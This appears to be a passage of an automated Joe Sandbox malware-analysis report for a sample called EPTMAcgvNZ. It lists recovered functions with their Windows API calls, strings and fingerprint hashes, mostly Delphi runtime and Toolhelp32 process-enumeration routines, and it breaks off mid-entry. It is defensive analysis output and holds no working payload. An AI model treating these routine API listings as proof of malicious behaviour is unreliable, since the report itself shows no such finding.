Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: e221cf159f21c2b11cdf0c78b245a353d1add516cfbe8ce126889cb33164d392
Instruction ID: 9850fc4cf9ed551eaefa7cc161c4787925d1fdafef42a73977c19078ce779546
Opcode Fuzzy Hash: e221cf159f21c2b11cdf0c78b245a353d1add516cfbe8ce126889cb33164d392
Instruction Fuzzy Hash: 3B3114F0A91360AFEF00EBB4D985A6977E8EB16781B401DE1F805CF219EA74E804DF11

Function 02B15908 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15925
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02B1593C
lstrcpynA.KERNEL32(?,?,?), ref: 02B1596C
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B159D0
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A06
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A19
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A2B
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000,02B3E790), ref: 02B15A37
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C,02B10000), ref: 02B15A6B
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B1737C), ref: 02B15A77
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02B15A99

Strings

\, xrefs: 02B15A49
kernel32.dll, xrefs: 02B15920
GetLongPathNameA, xrefs: 02B15933

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: c4cff8e046979f3f225ec367358ea433210ad60c419e9a9d5ed35ed01914e410
Instruction ID: 905c21ffe8dacf7c1d34f93c8a29a4feee15821d9281af3665a937d068eacd2e
Opcode Fuzzy Hash: c4cff8e046979f3f225ec367358ea433210ad60c419e9a9d5ed35ed01914e410
Instruction Fuzzy Hash: 9A418171E10619AFDB20DAE8CC88ADEB3BDEF48340FC445E5A658E7245E774DA448F90

Function 02B15BD8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B15BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B15BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B15BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B15C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B15CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B15CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B15CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B15CEB

Strings

Software\Borland\Locales, xrefs: 02B15AFC, 02B15B1A
Software\Borland\Delphi\Locales, xrefs: 02B15B38

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction ID: 62d51a6d47bec3f5ff2a09b0e2781232562ec7bd0e096047ac09988cb12e3b6a
Opcode Fuzzy Hash: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction Fuzzy Hash: 1B318471E4026C6AEB35DAB89C85FDF77AD9B44380FC401E29648E6181DB749F848F90

Function 02B17FD2 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02B17FF5

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: c3e0a068419184d7cdb4846bb4635073bd8f3b1816a615b6fba0b6092501f7fc
Instruction ID: d1b01f7b7ecbb76af78f08fd2bddc1c0b1fe0ed451d2bfef95bd40ca9d615cc0
Opcode Fuzzy Hash: c3e0a068419184d7cdb4846bb4635073bd8f3b1816a615b6fba0b6092501f7fc
Instruction Fuzzy Hash: A311C0B5A00209AF9B04CF99C881DBFF7F9FFC8300B54C569A509E7254E6719A018B90

Function 02B1A7C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction ID: 2c0be3ec501732e34097e27960e5e910dff8cef024a2f81397b4d0f33d2c2540
Opcode Fuzzy Hash: e4a4f5238fe2b89d356e7e49d78e4b786299a6a1796c12883d610745802d8045
Instruction Fuzzy Hash: 0BE0D871B0021417D311A5589C80EF6736D9B58310F8042FABD15C7385EDE0AE848BE4

Function 02B1B78C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02B3D106,00000000,02B3D11E), ref: 02B1B79A

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1ca47c8ba3a81762b4421bee666ac1a0309ecbeb84c6d260fdcdcd5bc6f48df8
Instruction ID: 912d13be15c01edde08139fe5364f143dfaa3b64daf79b64149dd6a9a1cbc3a1
Opcode Fuzzy Hash: 1ca47c8ba3a81762b4421bee666ac1a0309ecbeb84c6d260fdcdcd5bc6f48df8
Instruction Fuzzy Hash: E4F09D74A44301DFD350DF28D441A1AB7E9FF48B94F808DAAEA9887380E734D8148B52

Function 02B1A810 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02B1BE72,00000000,02B1C08B,?,?,00000000,00000000), ref: 02B1A823

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction ID: d587ccab2ad496537fb049c2a83c85784c3b01e094b5767708e64874f5dbb2d0
Opcode Fuzzy Hash: d4400675b37800bae6f97b663feac51f5f6a0a7098a31e52e30e5399d422cbaa
Instruction Fuzzy Hash: 1CD05EA670E2602AA210A15A2D84DBB5ADCCFC67A1F8040BAB988C6101D210DD07DAB1

Function 02B1920C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02B19210

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction ID: 52f9ffa0ec4a7821e472b7f731096f940d11e3a87547e6358cbbc9d5af24f82d
Opcode Fuzzy Hash: 2011951a752d329e78ca378c5827ecb81dc4292a3beff4a2dc5c32cf1b86488c
Instruction Fuzzy Hash: F0A0124040582041854033180C0257431455921A20FC4878068F8402D0E91D01208093

Function 02B3E596 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8f48c83d60ec04afcc440658e9edcae53144a8f5eed22574b4dcd881eaa9552
Instruction ID: ad094222e8ab89433bdfb0a4f0738175db57157dceb9e37475d37bda369656cf
Opcode Fuzzy Hash: b8f48c83d60ec04afcc440658e9edcae53144a8f5eed22574b4dcd881eaa9552
Instruction Fuzzy Hash: 0351599294E7D14FC7634B7844A92C23FB0AD7762435E51CBC8D09F1A3E209990BDB61

Function 02B1C98E Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 337ad80de26523312585dd798073f80bc2648116be0ac6775d459a67f91f93b6
Instruction ID: aa01cb98ed2e4accbb3d845075dbed72fc7ffd512b30cefb4a665bc4976dd085
Opcode Fuzzy Hash: 337ad80de26523312585dd798073f80bc2648116be0ac6775d459a67f91f93b6
Instruction Fuzzy Hash: FF9155A1E592C44FE316AB7884BA7963F52CFA3344FDA00EEC1954F2E3DC1D98068B55

Function 02B120C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 02B1D294 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02B1D29D

Part of subcall function 02B1D268: GetProcAddress.KERNEL32(00000000), ref: 02B1D281

Strings

VarI4FromStr, xrefs: 02B1D3C9
VarNeg, xrefs: 02B1D2C1
VarMul, xrefs: 02B1D319
VarAnd, xrefs: 02B1D371
VarNot, xrefs: 02B1D2D7
VarDateFromStr, xrefs: 02B1D40B
VarMod, xrefs: 02B1D35B
VarIdiv, xrefs: 02B1D345
VarCyFromStr, xrefs: 02B1D421
VarXor, xrefs: 02B1D39D
VarSub, xrefs: 02B1D303
VariantChangeTypeEx, xrefs: 02B1D2AB
VarBoolFromStr, xrefs: 02B1D437
VarR8FromStr, xrefs: 02B1D3F5
VarOr, xrefs: 02B1D387
VarBstrFromDate, xrefs: 02B1D463
VarCmp, xrefs: 02B1D3B3
VarAdd, xrefs: 02B1D2ED
VarR4FromStr, xrefs: 02B1D3DF
oleaut32.dll, xrefs: 02B1D298
VarDiv, xrefs: 02B1D32F
VarBstrFromBool, xrefs: 02B1D479
VarBstrFromCy, xrefs: 02B1D44D

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: b443657c2734cd024e7598013f2844046adc9808b9b82cd93c0809a548f52abf
Instruction ID: ab797fb8c09b08b16e4b5de84b03299ad6174d89a9e79b7915815f80c00cded5
Opcode Fuzzy Hash: b443657c2734cd024e7598013f2844046adc9808b9b82cd93c0809a548f52abf
Instruction Fuzzy Hash: 5C4180E3AA830A5B52086B6EB500427FBDED345B503E046DBF884CB384DD74FC518A6E

Function 02B26ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02B26EDE
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02B26EEF
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02B26EFF
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02B26F0F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02B26F1F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02B26F2F
GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02B26F3F

Strings

CoCreateInstanceEx, xrefs: 02B26EE9
CoResumeClassObjects, xrefs: 02B26F29
CoInitializeEx, xrefs: 02B26EF9
CoAddRefServerProcess, xrefs: 02B26F09
CoReleaseServerProcess, xrefs: 02B26F19
CoSuspendClassObjects, xrefs: 02B26F39
ole32.dll, xrefs: 02B26ED9

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 8f5a95351153522a1582fba12d6dd480a43677f41fb71cb39ff725e988e19850
Instruction ID: a25fb6b2bde3ef0bcc12d3f4fc15160cb17dd42138a1a575ed5fffbaa3f07075
Opcode Fuzzy Hash: 8f5a95351153522a1582fba12d6dd480a43677f41fb71cb39ff725e988e19850
Instruction Fuzzy Hash: E8F050F0A8A351BDBF00FB745CC18AA375DAF246443401CD6F91B56556FB75D8188F10

Function 02B12530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02B128CE

Strings

The unexpected small block leaks are:, xrefs: 02B12707
Unknown, xrefs: 02B1278C
String, xrefs: 02B127A1
, xrefs: 02B12814
Unexpected Memory Leak, xrefs: 02B128C0
7, xrefs: 02B126A1
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B12849
bytes: , xrefs: 02B1275D
An unexpected memory leak has occurred. , xrefs: 02B12690

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 903978b729aacb5ddda16b82b3b9124eaf4e57fbd2b33411e07235d969c7761f
Instruction ID: 5507c5600d56c3f15398d43084f1c377e7a5ebc66945d8ed52f2b813e81388f0
Opcode Fuzzy Hash: 903978b729aacb5ddda16b82b3b9124eaf4e57fbd2b33411e07235d969c7761f
Instruction Fuzzy Hash: 04A1D230A042B88BDF21AA2CCC84B99B7E5EF09350F9441F5ED49AB386CB7599C5CF51

Function 02B1252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The unexpected small block leaks are:, xrefs: 02B12707
, xrefs: 02B12814
Unexpected Memory Leak, xrefs: 02B128C0
7, xrefs: 02B126A1
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B12849
bytes: , xrefs: 02B1275D
An unexpected memory leak has occurred. , xrefs: 02B12690

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 99f57f3881e2a15a6eef4d32ec7501292bea8005034faeda27033fbad7b4e4fb
Instruction ID: bae71f51e1f4e8534cbb57ed49cab5ffccd1a85b2b893d872a0a95acdb38912b
Opcode Fuzzy Hash: 99f57f3881e2a15a6eef4d32ec7501292bea8005034faeda27033fbad7b4e4fb
Instruction Fuzzy Hash: C571B130A042B88FDF21EA2CCC84BD9BAE5EF09744F9041E5D949EB285DB758AC5CF51

Function 02B1BDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02B1C08B,?,?,00000000,00000000), ref: 02B1BDF6

Part of subcall function 02B1A7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

Strings

AMPM , xrefs: 02B1C019
AMPM, xrefs: 02B1C00A
m/d/yy, xrefs: 02B1BEC5
:mm:ss, xrefs: 02B1C046
mmmm d, yyyy, xrefs: 02B1BEF2
:mm, xrefs: 02B1C029

Memory Dump Source

Source File: 00000000.00000002.1362438194.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1359891857.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1375965632.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_EPTMAcgvNZ.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: b8227e90d2a097cfddd5d19b250c711e8ca5b5275bdc34d7432c15379972680e
